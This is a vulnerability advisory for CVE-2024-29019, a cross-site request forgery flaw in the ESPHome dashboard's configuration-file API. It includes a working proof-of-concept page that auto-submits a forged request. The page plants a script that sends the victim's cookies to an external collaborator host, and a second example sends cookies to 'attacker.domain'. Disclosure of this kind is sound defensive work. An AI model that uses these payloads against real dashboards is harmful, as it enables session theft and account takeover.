CVE-2024-29019

描述

### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script>
fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
" /> </form> <script> document.forms[0].submit(); </script> <script> </script> </body> </html> In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: <script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ### Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
